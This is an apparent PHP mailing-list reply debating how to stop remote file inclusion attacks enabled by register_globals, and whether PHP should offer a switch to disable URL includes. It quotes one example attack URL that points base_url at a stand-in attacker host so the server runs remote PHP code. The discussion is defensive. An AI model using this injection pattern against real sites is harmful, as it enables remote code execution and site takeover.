Richard Lynch wrote:
Now in each instance register globals was on and all that was needed to
You should turn register_globals off, first of all.
True, ideally register globals should be off.
Secondly, something is very very very wrong in your analysis.
No it isn't.
If this line of code gets executed:
$base_url = '/home/expample.com/www';
then the setting of register_globals can have *NO* effect on $base_url.
Yes...
It is being initialized, as it should, to a correct value, in that line of code. Any GET/POST data being sent in, is junked when that line is executed.
I know...
Therefore, they must *ALSO* be surfing to a page which does not correctly 'include' the code which sets $base_url in the first place.
As I stated in my post...
So, not only do you have register_globals "on" which is a Bad Idea, you've got PHP files in your web tree that they can surf to, bypass your configuration setting of $base_url, and execute code that the Programmer never ever ever intended to be executed out of sequence (IE, without having the code in config.php executed)
This is a MUCH BIGGER PROBLEM than remote include working or not.
That's down to your opinion and experience. Most packaged applications have all the files accessible in the webdir. In most apps changing this would mean a lot of rewriting.
If you can't do that, for whatever reason, you may be able to stop those files from being executed outside the context in which they were intended: Convince Apache *not* to execute ".inc" files as PHP, for example.
Of course, some well-intentioned, but badly-designed, packages use ".inc.php" to force the execution of "include" files as PHP.
As we have seen here, you simply do not *want* that to happen. Executing snippets of code out of the context in which they were programmed is just plain foolhardy.
I agree but your "perfect" world isn't the one I'm living in, if it were, we wouldn't have needed register_globals.
If you only shut down remote include, but leave these other issues unaddressed, you're going to be restoring from a backup again sooner or later anyway.
Quite.
You've got huge chunks of code in those packages that the bad guys are executing all out of any sort of order that the Programmer ever even thought about them.
So we agree that the programmer isn't always considering these things. Phew.
comprimise the site was to have a variable passed in the url to set the base url to a remote site, which in turn output php to execute, i.e.:
http://example.com/config.php?base_url=http://myhacksite.example.com
Now, you are correct that education on how to avoid this kind of issue is key, however that does not avoid the problem. Turning of register globals would prevent many of these attacks, however there are still many apps out there that require register globals to be on and there are other ways to use this exploit with them off.
Please explain these other ways, or provide references.
Sorry, same way. I have seen ann application that set the base url in $_REQUEST. Needless to say it was avoided like the plague. And to be honest, it was the only app I've seen that did this.
Also, if an application requires register_globals on at this point in time, it may be prudent to simply not support the installation of that package.
That may seem harsh, even unreasonable, but at some point, it's time for the application developers, who have quite some time now, to make their software well-behaved with register_globals OFF.
Yeah I agree... unfortunately there are hosting companies who insist on keeping them for BC.
And I was a bit shocked when this first happened to me with a stable version of phpBB. It has since been fixed, but I wonder how many people were open to the attack. I wonder how manby people had not copied all of those include file out of the web dir? Many I imagine.
I appreciate your problems -- I'm just trying to tell you that your solution is like swatting an elephant with a feather.
Rubbish. An enjoyable analogy nonetheless.
According to your logic, register globals wouldn't have been implemented because you could just loop through all the $_GET, $_POST ...etc and unset the global variable for each, and you should initialize every variable.
In the perfect world this would be true. But it aint is it? RAD and all that. :)
In my opinion this would be the most elegant way of clearing up this problem for good, so instead of:
1. Turn off register_globals if possible. 2. Check every bit of source code to see if affected. 3. Change apach config to not parse .inc files. 4. Educate the php world as to how to program in a nice and orderly fasion.
You would have: 1. Turn off allow_url_include if possible.
Anyway, I'm not going to argue the case for this any longer. I think it's a good idea but obviously nobody else does. The issue that I explained is avoidable, if it weren't then it would be a major exploit... that it is not. But it still remains an issue.
So yes, instead of having a language level feature that could eliminate this problem let's rely on all of the programmers and web hosts.
Thank you for the discussion.
KJ
-- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
